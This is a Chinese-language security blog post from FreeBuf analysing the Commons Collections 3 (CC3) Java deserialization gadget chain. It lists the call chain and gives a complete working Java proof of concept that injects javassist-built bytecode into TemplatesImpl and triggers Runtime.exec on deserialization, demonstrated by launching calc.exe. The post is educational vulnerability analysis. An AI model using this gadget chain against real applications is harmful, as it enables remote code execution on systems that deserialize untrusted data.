freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CommonsCollections3 (CC3链)分析
2022-04-20 14:02:04
所属地 广东省

CommonsCollections3 (CC3链)

说明

导入依赖

<dependency>
 <groupId>commons-collections</groupId>
 <artifactId>commons-collections</artifactId>
 <version>3.1</version>
</dependency>

利用链

AnnotationInvocationHandler.readObject()
$Proxy.entrySet()
   AnnotationInvocationHandler.invoke()
      LazyMap.get()
         ChainedTransformer.transform()
            ConstantTransformer.transform()
            InstantiateTransformer.transform()
               TrAXFilter.TrAXFilter()
    TemplatesImpl.newTransformer()
   TemplatesImpl.getTransletInstance()

简化后的payload

package com.ysoserial;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;



public class CommonCollections3 {
 public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException, NotFoundException, CannotCompileException, NotFoundException, CannotCompileException {


     ClassPool pool = ClassPool.getDefault();
     CtClass doCalc = pool.makeClass("doCalc");
     CtClass dad = pool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
     doCalc.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
     doCalc.setSuperclass(dad);
     byte[] bytes1 = doCalc.toBytecode();

     TemplatesImpl templates = new TemplatesImpl();
     setFieldValue(templates,"_name","ZeanHike");
     setFieldValue(templates,"_bytecodes",new byte[][]{bytes1});


     Transformer transformerChain = new ChainedTransformer(new Transformer[]{
             new ConstantTransformer(TrAXFilter.class),
             new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})

    });
     //AnnotationInvocationHandler无法直接new
     String ANNOTATION_CLASS="sun.reflect.annotation.AnnotationInvocationHandler";
     Constructor<?> firstConstructor = Class.forName(ANNOTATION_CLASS).getDeclaredConstructors()[0];
     firstConstructor.setAccessible(true);
     Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);



     Map mapProxy = (Map) Proxy.newProxyInstance(
             CommonCollections1.class.getClassLoader(),
             new Class[]{Map.class},
            (InvocationHandler) firstConstructor.newInstance(Override.class, lazyMap)
    );


     InvocationHandler invocationHandler = (InvocationHandler) firstConstructor.newInstance(Override.class, mapProxy);


     //序列化
     ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
     ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
     objectOutputStream.writeObject(invocationHandler);
     byteArrayOutputStream.flush();
     byte[] bytes = byteArrayOutputStream.toByteArray();


     //反序列化
     ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
     ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
     objectInputStream.readObject();


}

 public static void setFieldValue(Object obj,String field,Object value) throws NoSuchFieldException, IllegalAccessException {
     Field field1 = obj.getClass().getDeclaredField(field);
     field1.setAccessible(true);
     field1.set(obj,value);
}
}

分析正文

有过1和2的基础之后看3就应该很容易了,这里用了InstantiateTransformer,而CC1用了InvokerTransformer

我们从不同之处开始说起

image-20220419191346857

第一次循环返回了TrAXFilter.class作为object的值,在第二次循环将这个object值作为transform的参数传递,

因为iTransformers[1]为InstantiateTransformer类型,所以他会去执行InstantiateTransformer的transform方法

image-20220419191700012

而这个input为TrAXFilter,然后他会去执行TrAXFilter的构造函数,

image-20220419192002902

然后又去执行TemplatesImpl.newTransformer(),CC1链和CB1链都用了TemplatesImpl的newTransformer()方法的后续利用链,这条利用链是前面章节所讲的内容了,这里不再讲

这里的payload有点像CC1和CC2的组合

构造payload,成功召唤出神兽

image-20220419192725210

# 漏洞分析 # java反序列化 # Java反序列化漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录